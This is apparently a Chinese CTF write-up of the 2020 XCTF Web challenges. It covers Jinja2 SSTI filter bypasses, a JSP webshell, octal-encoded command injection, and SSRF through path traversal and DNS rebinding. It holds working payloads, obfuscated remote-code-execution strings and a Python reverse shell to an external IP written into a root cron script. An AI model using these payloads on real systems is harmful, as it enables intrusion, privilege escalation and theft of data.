2020 XCTF高校网络安全专题挑战赛(Web部分)


[toc]

华为云专场

MINE1_1(Jinja2 SSTI)

进入题目,一个扫雷游戏:

查看源代码,发现一个路由:

image-20201220112945342

进去看看,发现是一个ssti:

image-20201220113030730

经测试,过滤了大致有如下字符:

'    "    _    .    [    ]    args

和[UNCTF2020-11月公开赛]easyflask这道题相似,我们可以用|attr()配合request对象来bypass。只不过这里过滤了args,所以不能用request.args了。我们可以用request.values绕过,POST和GET两种方法传递的数据它都可以接收。

查看控制台发现是python2环境。

最后给出payload:

/success?msg={{()|attr(request.values.x1)|attr(request.values.x2)|attr(request.values.x3)()|attr(request.values.x4)(77)|attr(request.values.x5)|attr(request.values.x6)|attr(request.values.x4)(request.values.x7)|attr(request.values.x4)(request.values.x8)(request.values.x9)}}&x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen('cat flag.txt').read()

image-20201220113559467

MINE2(Jinja2 SSTI)

与上一题相似,仍然是一个扫雷页面,查看源码找到路由/success?msg=:

image-20201220153823161

依然是ssti,查看控制台发现是python3环境。

经测试,大致过滤了一下字符:

'    _    .    [    {{    request    args    values    g

好家伙,request都过滤了,但是依然没有过滤attr,且没有过滤双引号 ",我们想到编码绕过,即将敏感字符进行Unicode或十六进制进行编码,并配合attr()进行bypass。

过滤了 {{ 我们可以用 <!–0–>


失败了,发现过滤了 “u”,啊这。。。Unicode编码不能用了,我们可以用Hex编码,和Unicode编码的姿势是一样的,只不过将Unicode编码换成了Hex编码,payload如下:

```python
{%print(()|attr("\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f")|attr("\x5f\x5f\x62\x61\x73\x65\x5f\x5f")|attr("\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f")()|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")(258)|attr("\x5f\x5f\x69\x6e\x69\x74\x5f\x5f")|attr("\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f")|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")("os")|attr("popen")("ls")|attr("read")())%}

image-20201220155825328

然后flag.txt,但这里要注意,由于过滤了点 . 、字符 “g”还有空格,所以我们也要将这些字符进行Hex编码才行,即 popen("cat\x20\x66\x6c\x61\x67\x2e\x74\x78\x74"),payload如下:

{%print(()|attr("\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f")|attr("\x5f\x5f\x62\x61\x73\x65\x5f\x5f")|attr("\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f")()|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")(258)|attr("\x5f\x5f\x69\x6e\x69\x74\x5f\x5f")|attr("\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f")|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")("os")|attr("popen")("cat\x20\x66\x6c\x61\x67\x2e\x74\x78\x74")|attr("read")())%}

image-20201220160254900

如上图所示,得到flag。

WEBSHELLL_1(jsp马)

Hint:flag必须通过执行命令cat /flag的方式才能获取到。

进入题目,是一个文件上传的页面,上传的任何文件都会被重命名为一个jsp文件:

image-20201220115541010

从网上找了一个jsp的一句话木马:

<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

// shell.jsp?pwd=023&i=ls

上传后执行命令:

image-20201220140546222

获取flag:

image-20201220140616534

PYER

进入题目,是一个后台的登录页面:

image-20201220133700924

经测试,存在基于时间的盲注。

CLOUD

不太会。。。

HIDS(八进制绕过命令执行)

Hint:readflag运行90秒后才会打印出flag。

进入题目,发现是一个可以执行命令的输入框:

image-20201220172351046

过滤了很多,执行 ls 命令可以发现当前目录下有一个web目录,web目录里面有一个app.py:

image-20201220175826810

使用如下命令将app.py的源码读出来:

cd$IFS$9web;cat$IFS$9$(ls)

image-20201220175636824

得到源码如下:

from flask import Flask
from flask import render_template,request
import subprocess,re
app = Flask(__name__)

@app.route('/',methods=['GET'])
def index():
    return render_template('index.html')

@app.route('/run',methods=['POST'])
def run():
    cmd = request.form.get("cmd")
    if re.search(r'''[^0-9a-zA-Z">\\\$();]''',cmd):
        return 'Hacker!'
    if re.search(r'''ping|wget|curl|bash|perl|python|php|kill|ps''',cmd):
        return 'Hacker!'
    p = subprocess.Popen(cmd,stderr=subprocess.STDOUT, stdout=subprocess.PIPE,shell=True,close_fds=True)
    try:
        (msg, errs) = p.communicate(timeout=5)
        return msg
    except Exception as e:
        return 'Error!'

app.run(host='0.0.0.0',port='5000')

可见我们执行的命令里面必须包含 ^0-9a-zA-Z">\\\$(); 这几个字符,并且不能存在 ping|wget|curl|bash|perl|python|php|kill|ps 等关键字。

我们看见 $() 后,可以很容易地想到用进制编码的格式进行执行命令,如下

使用八进制进行命令执行成功绕过:

$(printf$IFS$9"\154\163\40\57")    # ls /

image-20201221135633835

直接读flag发现权限不够。

在根目录发现readflag,执行/readflag:

$(printf$IFS$9"\57\162\145\141\144\146\154\141\147")

却只得到一个Error的报错:

image-20201220183212917

懵逼了,在这卡了一会,后来发现在根目录还有一个detect.py,我们执行如下命令,将detect.py的代码读出来:

$(printf$IFS$9"\143\141\164\40\57\144\145\164\145\143\164\56\160\171")   # cat /detect.py

得到detect.py中的内容如下:

import os,signal

out=os.popen("ps -ef").read()

for line in list(out.splitlines())[1:]:
    try:
        pid = int(line.split()[1])
        ppid = int(line.split()[2])
        cmd = " ".join(line.split()[7:])
        if ppid in [0,1] and cmd in ["/usr/local/bin/python3.8 /home/ctf/web/app.py","/usr/sbin/cron","/usr/bin/tail -f /var/log/cron","/usr/local/bin/python3.8 /detect.py","/bin/sh -c /usr/sbin/cron && /usr/bin/tail -f /var/log/cron"]:
            continue
        os.kill(pid,signal.SIGKILL)
    except Exception as e:
        pass

分析代码可知,detect.py文件将检查目标主机上的进程,如果发现不在白名单里的恶意进程就会杀死。根据题目的提示——“We will kill malicious processes every minute.”,也就是说目标主机每隔一分钟就会杀死我们的恶意进程,所以我们可以猜测,目标主机每隔一分钟就会执行以下这个detect.py文件。

我们执行如下命令,查看一下根目录里面detect.py文件的权限:

$(printf$IFS$9"\154\163\40\57\40\55\141\154")   # ls / -al

得到如下结果:

total 100
drwxr-xr-x  21 root root  4096 Dec 20 14:15 .
drwxr-xr-x  21 root root  4096 Dec 20 14:15 ..
-rwxr-xr-x   1 root root     0 Dec 20 14:15 .dockerenv
drwxr-xr-x   2 root root  4096 Nov 18 00:31 bin
drwxr-xr-x   2 root root  4096 Sep 19 21:39 boot
-rwxrw-rw-   1 root root   289 Dec 20 14:35 detect.py
drwxr-xr-x   5 root root   360 Dec 20 14:15 dev
drwxr-xr-x  53 root root  4096 Dec 20 14:15 etc
-r--------   1 root root    39 Dec 20 14:15 flag
drwxr-xr-x   3 root root  4096 Dec 11 10:09 home
drwxr-xr-x   8 root root  4096 Nov 18 00:32 lib
drwxr-xr-x   2 root root  4096 Nov 17 00:00 lib64
drwxr-xr-x   2 root root  4096 Nov 17 00:00 media
drwxr-xr-x   2 root root  4096 Nov 17 00:00 mnt
drwxr-xr-x   2 root root  4096 Nov 17 00:00 opt
dr-xr-xr-x 528 root root     0 Dec 20 14:15 proc
-rwsr-sr-x   1 root root 16768 Dec 11 10:09 readflag
drwx------   3 root root  4096 Dec 11 10:09 root
drwxr-xr-x   4 root root  4096 Dec 20 14:15 run
drwxr-xr-x   2 root root  4096 Nov 18 00:31 sbin
drwxr-xr-x   2 root root  4096 Nov 17 00:00 srv
dr-xr-xr-x  13 root root     0 Dec 11 05:59 sys
drwxrwxrwt   2 root root  4096 Dec 19 12:54 tmp
drwxr-xr-x  10 root root  4096 Nov 17 00:00 usr
drwxr-xr-x  11 root root  4096 Nov 17 00:00 var

我们可以看到我们对根目录里的大部分文件都没有“写权限(w)”,唯独对这个detect.py文件具有“写权限(w)”,并且这个detect.py文件的执行权限在其“所有者(root)”用户手中。那么如果我们覆写这个detect.py文件,在里面写入反弹shell的命令,一分钟后,我们就可以获得目标主机的root权限的shell,就可以直接读取flag了。

说干就干!执行如下命令,覆写detect.py文件:

echo$IFS$9$(printf$IFS$9"\151\155\160\157\162\164\40\163\157\143\153\145\164\54\163\165\142\160\162\157\143\145\163\163\54\157\163\73\163\75\163\157\143\153\145\164\56\163\157\143\153\145\164\50\163\157\143\153\145\164\56\101\106\137\111\116\105\124\54\163\157\143\153\145\164\56\123\117\103\113\137\123\124\122\105\101\115\51\73\163\56\143\157\156\156\145\143\164\50\50\42\64\67\56\61\60\61\56\65\67\56\67\62\42\54\62\63\63\63\51\51\73\157\163\56\144\165\160\62\50\163\56\146\151\154\145\156\157\50\51\54\60\51\73\40\157\163\56\144\165\160\62\50\163\56\146\151\154\145\156\157\50\51\54\61\51\73\40\157\163\56\144\165\160\62\50\163\56\146\151\154\145\156\157\50\51\54\62\51\73\160\75\163\165\142\160\162\157\143\145\163\163\56\143\141\154\154\50\133\42\57\142\151\156\57\163\150\42\54\42\55\151\42\135\51\73")>$(printf$IFS$9"\57")detect$(printf$IFS$9"\56")py

# echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.101.57.72",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' > /detect.py

如下图所示,成功获得root权限的shell并读取flag:

image-20201221141344400

鲲鹏计算专场

babyphp(file_get_contents目录穿越)

进入题目,让你进行一个端口扫描:

image-20201223180625908

尝试扫描端口却失败了:

image-20201223180657915

根据他的提示,我们想到用Google语法搜索他泄露的源码,我们右键查看html源码:

image-20201223180804337

复制,并用如下Google语法进行检索:

site:github.com  <html> <form action="" method="post"> <input type="text" name="startip" value="Start IP" /> <input type="text" name="endip" value="End IP" /> <input type="text" name="port" value="80,8080,8888,1433,3306" /> Timeout<input type="text" name="timeout" value="10" /><br/> <button type="submit" name="submit">Scan</button> </form> </html>

得到源码如下:

<?php

set_time_limit(0);//设置程序执行时间
ob_implicit_flush(True);
ob_end_flush();
$url = isset($_REQUEST['url'])?$_REQUEST['url']:null;    // REQUEST方法通过获取url

/*端口扫描代码*/
function check_port($ip,$port,$timeout=0.1) {
 $conn = @fsockopen($ip, $port, $errno, $errstr, $timeout);   // 打开一个网络连接或者一个Unix套接字连接
 if ($conn) {
 fclose($conn);
 return true;
 }
}


function scanip($ip,$timeout,$portarr){   // 进行端口扫描,如果能打开一个网络连接,就返回true,代表端口是打开的
foreach($portarr as $port){
if(check_port($ip,$port,$timeout=0.1)==True){
echo 'Port: '.$port.' is open<br/>';
@ob_flush();
@flush();

}

}
}

echo '<html>
<form action="" method="post">
<input type="text" name="startip" value="Start IP" />
<input type="text" name="endip" value="End IP" />
<input type="text" name="port" value="80,8080,8888,1433,3306" />
Timeout<input type="text" name="timeout" value="10" /><br/>
<button type="submit" name="submit">Scan</button>
</form>
</html>
';

if(isset($_POST['startip'])&&isset($_POST['endip'])&&isset($_POST['port'])&&isset($_POST['timeout'])){

$startip=$_POST['startip'];
$endip=$_POST['endip'];
$timeout=$_POST['timeout'];
$port=$_POST['port'];
$portarr=explode(',',$port);
$siparr=explode('.',$startip);
$eiparr=explode('.',$endip);   // 生成数组
$ciparr=$siparr;
if(count($ciparr)!=4||$siparr[0]!=$eiparr[0]||$siparr[1]!=$eiparr[1]){    // startip必须为4个,并且每个startip对应等于为endip
exit('IP error: Wrong IP address or Trying to scan class A address');
}
if($startip==$endip){
echo 'Scanning IP '.$startip.'<br/>';
@ob_flush();
@flush();
scanip($startip,$timeout,$portarr);
@ob_flush();
@flush();
exit();
}

if($eiparr[3]!=255){
$eiparr[3]+=1;
}
while($ciparr!=$eiparr){
$ip=$ciparr[0].'.'.$ciparr[1].'.'.$ciparr[2].'.'.$ciparr[3];
echo '<br/>Scanning IP '.$ip.'<br/>';
@ob_flush();
@flush();
scanip($ip,$timeout,$portarr);
$ciparr[3]+=1;

if($ciparr[3]>255){
$ciparr[2]+=1;
$ciparr[3]=0;
}
if($ciparr[2]>255){
$ciparr[1]+=1;
$ciparr[2]=0;
}
}
}

/*内网代理代码*/

function getHtmlContext($url){ 
    $ch = curl_init(); 
    curl_setopt($ch, CURLOPT_URL, $url); 
    curl_setopt($ch, CURLOPT_HEADER, TRUE);    //表示需要response header 
    curl_setopt($ch, CURLOPT_NOBODY, FALSE); //表示需要response body 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); 
    curl_setopt($ch, CURLOPT_TIMEOUT, 120); 
    $result = curl_exec($ch);   // ssrf
  global $header; 
  if($result){ 
       $headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);   // 头信息大小
       $header = explode("\r\n",substr($result, 0, $headerSize));   // http头
       $body = substr($result, $headerSize);   // body部分
  } 
    if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == '200') { 
        return $body;    // 如果状态码为200,就返回body部分
    } 
    if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == '302') { 
    $location = getHeader("Location");    // 获取Location头部信息
    if(strpos(getHeader("Location"),'http://') == false){ 
      $location = getHost($url).$location; 
    } 
        return getHtmlContext($location); 
    } 
    return NULL; 
} 

function getHost($url){ 
    preg_match("/^(http:\/\/)?([^\/]+)/i",$url, $matches); 
    return $matches[0];    // 获取主机名,获取完整的url
} 
function getCss($host,$html){ 
    preg_match_all("/<link[\s\S]*?href=['\"](.*?[.]css.*?)[\"'][\s\S]*?>/i",$html, $matches); 
    foreach($matches[1] as $v){ 
    $cssurl = $v; 
        if(strpos($v,'http://') == false){ 
      $cssurl = $host."/".$v; 
    } 
    $csshtml = "<style>".file_get_contents($cssurl)."</style>"; 
    $html .= $csshtml; 
  } 
  return $html; 
} 

if($url != null){ 

    $host = getHost($url); 
    echo getCss($host,getHtmlContext($url)); 
}
?>

好像存在ssrf:

image-20201223182530280

审计上面的代码,我们可以得知,服务端会爬取目标网站url上的css,然后file_get_contents执行css标签里的url从而获取css的内容,我们利用file_get_contents函数的目录穿越即可读取到flag,即

file_get_contents(xxx/../../../../flag)  

将读取根目录里的flag。

我们在自己vps的web目录里新建一个index.php,里面写入含有目录穿越的css标签:

<link rel='stylesheel' href='http://../a.css/../../../../../../../var/www/html/flag.php' type='text/.css' />

然后执行/?url=http://yourhost.com/index.php,右键查看源代码即可发现flag:

image-20201225095650693

CLOUDSTORAGE(DNS Rebinding Attack DNS重绑攻击在SSRF中的应用)

该题解析参考Y1ng师傅博客:https://www.gem-love.com/websecurity/2733.html

因为大量访问导致题目服务器负载过高,出题人放出了题目docker docker ,让选手本地搭建环境进行测试,打通后再去打远程环境。

使用docker-compose在自己vps上搭建好:

docker-compose up -d --build

image-20201225100518373

是一个云存储的页面。

经测试,题目只是套了一个云存储的壳,但是上传下载都没有什么卵用。既然给了源码,那我们就分析一下他的代码。

app.js:

const express = require('express');
const env = require('dotenv').config();
const session = require('express-session');
const FileStore = require('session-file-store')(session);
const cookieParser = require("cookie-parser");
const path = require('path');
const crypto = require("crypto");
const bodyParser = require('body-parser');
const hbs = require('hbs');
const {docker} = require("./routes/docker.js")

const app = express();

app.use(express.static('public'));
app.use(cookieParser());
app.use(express.urlencoded({extended: false}));
app.use(express.json());
app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());
app.use(session({
    name: "auth",
    secret: env.parsed.session,
    resave: false,
    saveUninitialized: true,
    store: new FileStore({path: __dirname+'/sessions/'})
}));
app.set('views', path.join(__dirname, "views/"))
app.engine('html', hbs.__express)
app.set('view engine', 'html')
app.use((req, res, next) => {
    if (!req.session.files )
        req.session.files = [];
    if (!req.session.name)
        req.session.name = md5(req.ip);
    next();
})

const md5 = function (s) { return crypto.createHash('md5').update(s).digest('hex') }
require('./routes/cos.js')(app, md5, docker)
require("./routes/panel.js")(app, md5, docker)

app.get('/flag', function(req, res){    // 必须从本地访问/flag路由才能获得flag
    if (req.ip === '127.0.0.1') {
        res.status(200).send(env.parsed.flag)
    } else res.status(403).end('not so simple');
});

app.listen(80, "0.0.0.0");

cos.js:

module.exports = function(app, md5, docker) {

    const multer  = require('multer');
    const fs = require('fs');
    const path = require('path')
    const upload = multer({dest: '/tmp/upload_tmp/'});

    app.get('/', function(req, res){
        res.render("upload")
    });

    app.post('/upload', upload.any(), function(req, res){
        if (!req.files[0]) {
            res.send( JSON.stringify({"code" : "-1", "message" : "you are not allowed"}) )
            return;
        }

        let filename = md5(req.files[0].originalname + req.files[0].size + req.ip)
        let des_file = "static/upload/" + filename;
        if (fs.existsSync(des_file)) {
            res.end( JSON.stringify( {"code" : "-1", "message" : "already existed!"} ) )
            return
        }

        fs.readFile( req.files[0].path, function (err, data) {
            fs.writeFile(des_file, data, function (err) {
                let response;
                if (err) {
                    response = {"code" : "-1", "message" : "err!"}
                } else {
                    response = {
                        code: '0',
                        filepath: des_file,
                        message: `http://${docker.host}:${docker.port}/download/${filename}`
                    };
                    req.session.files.push(filename)
                }
                res.end( JSON.stringify( response ) );
            });
        });
    });

    app.get('/download/:file', (req, res) => {
        let filename = req.url.split("/download/").slice(1,req.url.split("/download/").length).join("")
        if (filename.indexOf('..') !== -1) {
            res.end( JSON.stringify( {"code" : "-1", "message" : "my dear dalao pls stop hacking me"} ) )
            return
        }
        let file = path.join(__dirname, `../static/upload/${filename}`)
        if (!fs.existsSync(file)) {
            res.status(404).end( JSON.stringify( {"code" : "-1", "message" : "404 not found"} ) )
            return
        }
        res.download(file)
    })

}

docker.js:

const env = require('dotenv').config();
const docker = {
    'ip' : env.parsed.ip || '121.37.175.154',
    'port' : env.parsed.port || '8000',
    'host' : env.parsed.host || 'cloudstorage.xctf.org.cn'
}

exports.docker = docker

panel.js:

module.exports = function(app, md5, docker) {

    const request = require('request');
    const cp = require('child_process')
    const { check } = require("./utils")

    app.get('/admin',  async (req, res) => {
        let host = `http://${docker.host}:${docker.port}/`
        let html = ""
        await req.session.files.forEach((file) => {
            html += `<a href ='javascript:doPost("/admin", {"fileurl":"${host}download/${file}"})' target=''>${file}</a><br>` + "\n\n"
        })
        res.render("admin", {"files" : html})
    })

    app.post('/admin', (req, res) => {
        if ( !req.body.fileurl || !check(req.body.fileurl) ) {    // 需要提交一个fileurl参数,然后调用 check() 进行 url 的验证
            res.end("Invalid file link")
            return
        }
        let file = req.body.fileurl;

        //dont DOS attack, i will sleep before request
        cp.execSync('sleep 5')    // 延迟5秒钟

        let options = {url : file, timeout : 3000}
        request.get(options ,(error, httpResponse, body) => {
            if (!error) {
                res.set({"Content-Type" : "text/html; charset=utf-8"})
                res.render("check", {"body" : body})
            } else {
                res.end( JSON.stringify({"code" : "-1", "message" : error.toString()}) )
            }
        });
    })

}

utils.js:

const cp = require('child_process')
const ip = require('ip')
const url = require('url');
const {docker} = require("./docker.js")

const checkip = function (value) {    // 来检查是否是正常的ip格式
    let pattern = /^\d{1,3}(\.\d{1,3}){3}$/;
    if (!pattern.exec(value))
        return false;
    let ary = value.split('.');
    for(let key in ary)
    {
        if (parseInt(ary[key]) > 255)
            return false;
    }
    return true ;
}

const dnslookup = function(s) {    //利用公网上一个 dns 解析的 api 来解析出url所对应的ip
    if (typeof(s) == 'string' && !s.match(/[^\w-.]/)) {
        let query = '';
        try {
            query = JSON.parse(cp.execSync(`curl http://ip-api.com/json/${s}`)).query
        } catch (e) {
            return 'wrong'
        }
        return checkip(query) ? query : 'wrong'
    } else return 'wrong'
}

const check = function(s) {
    if (!typeof (s) == 'string' || !s.match(/^http\:\/\//))
        return false

    let blacklist = ['wrong', '127.', 'local', '@', 'flag']
    let host, port, dns;

    host = url.parse(s).hostname     // url.parse()将一个完整的URL地址分成host, port等部分
    port = url.parse(s).port
    if ( host == null || port == null)   // host和port不能为空
        return false

    dns = dnslookup(host);
    if ( ip.isPrivate(dns) || dns != docker.ip || ['80','8080'].includes(port) )   // dns解析出的 ip 不能是私有 ip 并且必须等于 docker.ip,并且端口不能是 80 或者 8080
        return false

    for (let i = 0; i < blacklist.length; i++)   // for 循环匹配了一些黑名单关键字
    {
        let regex = new RegExp(blacklist[i], 'i');
        try {
            if (ip.fromLong(s.replace(/[^\d]/g,'').substr(0,10)).match(regex))
                return false
        } catch (e) {}
        if (s.match(regex))
            return false
    }
    return true
}

exports.check = check

题目套了一个云存储的壳,但是上传下载都没有什么卵用,主要看panel.js中的 /admin 路由:

app.post('/admin', (req, res) => {
        if ( !req.body.fileurl || !check(req.body.fileurl) ) {    // 需要提交一个fileurl参数,然后调用 check() 进行 url 的验证
            res.end("Invalid file link")
            return
        }
        let file = req.body.fileurl;

        //dont DOS attack, i will sleep before request
        cp.execSync('sleep 5')    // 延迟5秒钟

        let options = {url : file, timeout : 3000}
        request.get(options ,(error, httpResponse, body) => {
            if (!error) {
                res.set({"Content-Type" : "text/html; charset=utf-8"})
                res.render("check", {"body" : body})
            } else {
                res.end( JSON.stringify({"code" : "-1", "message" : error.toString()}) )
            }
        });
    })

需要 POST 提交一个 fileurl 参数,然后首先调用 check() 进行 url 的验证,之后再同步执行 sleep 5 命令,最后 request 去访问并把访问的结果渲染进模板。

app.js中存在 /flag 路由,只有本地访问才能拿到 flag:

app.get('/flag', function(req, res){
    if (req.ip === '127.0.0.1') {
        res.status(200).send(env.parsed.flag)
    } else res.status(403).end('not so simple');
});

所以题目意图就很明显了,通过 request 本地去访问到 /flag 并把 flag 带出来。

URL 的检测就是 check utils.js 中的函数:

const checkip = function (value) {    // 来检查是否是正常的ip格式
    let pattern = /^\d{1,3}(\.\d{1,3}){3}$/;
    if (!pattern.exec(value))
        return false;
    let ary = value.split('.');
    for(let key in ary)
    {
        if (parseInt(ary[key]) > 255)
            return false;
    }
    return true ;
}

const dnslookup = function(s) {    //利用公网上一个 dns 解析的 api 来解析出url所对应的ip
    if (typeof(s) == 'string' && !s.match(/[^\w-.]/)) {
        let query = '';
        try {
            query = JSON.parse(cp.execSync(`curl http://ip-api.com/json/${s}`)).query
        } catch (e) {
            return 'wrong'
        }
        return checkip(query) ? query : 'wrong'
    } else return 'wrong'
}

const check = function(s) {
    if (!typeof (s) == 'string' || !s.match(/^http\:\/\//))
        return false

    let blacklist = ['wrong', '127.', 'local', '@', 'flag']
    let host, port, dns;

    host = url.parse(s).hostname     // url.parse()将一个完整的URL地址分成host, port等部分
    port = url.parse(s).port
    if ( host == null || port == null)   // host和port不能为空
        return false

    dns = dnslookup(host);
    if ( ip.isPrivate(dns) || dns != docker.ip || ['80','8080'].includes(port) )   // dns解析出的 ip 不能是私有 ip 并且必须等于 docker.ip,并且端口不能是 80 或者 8080
        return false

    for (let i = 0; i < blacklist.length; i++)   // for 循环匹配了一些黑名单关键字
    {
        let regex = new RegExp(blacklist[i], 'i');
        try {
            if (ip.fromLong(s.replace(/[^\d]/g,'').substr(0,10)).match(regex))
                return false
        } catch (e) {}
        if (s.match(regex))
            return false
    }
    return true
}

exports.check = check

check() 的主要检测逻辑如下:

  1. url.parse() 解析,将url分成host和port等部分
  2. 利用公网上一个 dns 解析的 api(ip-api.com)来解析url,解析出的 ip 不能是私有 ip 并且必须等于 docker.ip,即题目的ip
  3. url.parse() 解析出来的端口不能是 80 或者 8080
  4. 之后 for 循环匹配了一些黑名单关键字

这些全过了才可以,尤其是解析的 ip 必须是题目服务器的 ip 这个很恶心,而且公网这个 dns 解析的 api 对于域名可以解析出 A 记录地址,对于 ip 地址则返回这个 ip 地址,基本也没什么办法绕过,尤其对 js 不熟悉的同学更是无从下手。

DNS 重绑攻击:

DNS 重绑攻击的详细介绍网上有很多文章,这里就以本例题给大家介绍一下。

当一个 url 被提交到 /admin 路由时,题目干了两件事:

  1. check() 函数内利用公网那个 api 对域名进行了第一次解析
  2. sleep 5 后,request.get () 访问 url 对域名进行了第二次解析

正如它的名字 “重绑”,攻击者准备一个域名,在 check 时解析到了题目的 ip 地址,于是理所当然的过了 check;之后,攻击者将其 “重新绑定” 到一个攻击者的 ip 或者内网 ip 或者本地 ip,再第二次访问时第二次解析,此时解析出来的 IP 已经被重绑到了新的 ip,于是就访问到了攻击者 / 内网 / 本地;这里的 sleep 本身也是一个助攻,因为这个时间差可以更利于重绑攻击的实现。

在 CTF 中,DNS 重绑主要应用在 SSRF 题目中,例如 2020 ASIS CTF PyCrypto,Writeup 可参考:https://www.gem-love.com/ctf/2462.html#PyCrypto

DNS 重绑攻击的条件是要进行多次 DNS 解析,并且利用这个 DNS 解析的时间差来进行一些利用,关键是要找到 DNS 解析的顺序以及代码的逻辑,然后尝试重绑攻击。

很多时候 DNS 重绑是先过 check 然后重绑到 127.0.0.1 来 SSRF。本题目的 SSRF 和常规 SSRF 的套路一致,但不能重绑到 127.0.0.1,因为本地是 80 端口,但是 check() 并不允许访问 80 端口;所以我们可以让它解析到攻击者的 ip 并且非 80/8080 端口,当访问到攻击者时,利用 302 跳转到 http://127.0.0.1:80/flag,request 会默认 follow 这个 302 重定向,即可 SSRF 成功。

攻击实现:

相信有的选手尽管了解到这个攻击原理,但是没有一个好用的 DNS Rebinding 平台,这里列出几个免费的:

  1. https://requestrepo.com/
  2. https://lock.cmpxchg8b.com/rebinder.html
  3. http://rbnd.gl0.eu/

以第一个 requestrepo 为例。

首先准备一台vps,开放非 80/8080 端口 (我开的 8848),并设置302跳转到 http://127.0.0.1/flag

<?php
header("Location: http://127.0.0.1:80/flag");
?>

来到 requestrepo,进行DNS 设置:

image-20201225104941516

然后POST方法提交 fileurl=http://whoami.3zt0dv3o.requestrepo.com:8848 这个url到 /admin 路由即可。

因为随机解析不一定每次都成功、api 可能会请求 1~2 次、DNS 缓存、题目比较卡等多方面原因,直接提交可能不会成功,就写脚本循环提交就好了:

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
import requests as req

s = req.session()
url = "http://cloudstorage.xctf.org.cn:8011/admin"
data = {"fileurl" : "http://whoami.3zt0dv3o.requestrepo.com:8848/index.php" }
while True:
    try:
        text = s.post(url=url, data=data, timeout=10).text
        print(text)
        if "flag{" in text:
            exit(0)
    except Exception as e :
        print(e)

img


Author: WHOAMI
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint polocy. If reproduced, please indicate source WHOAMI !
评论
  TOC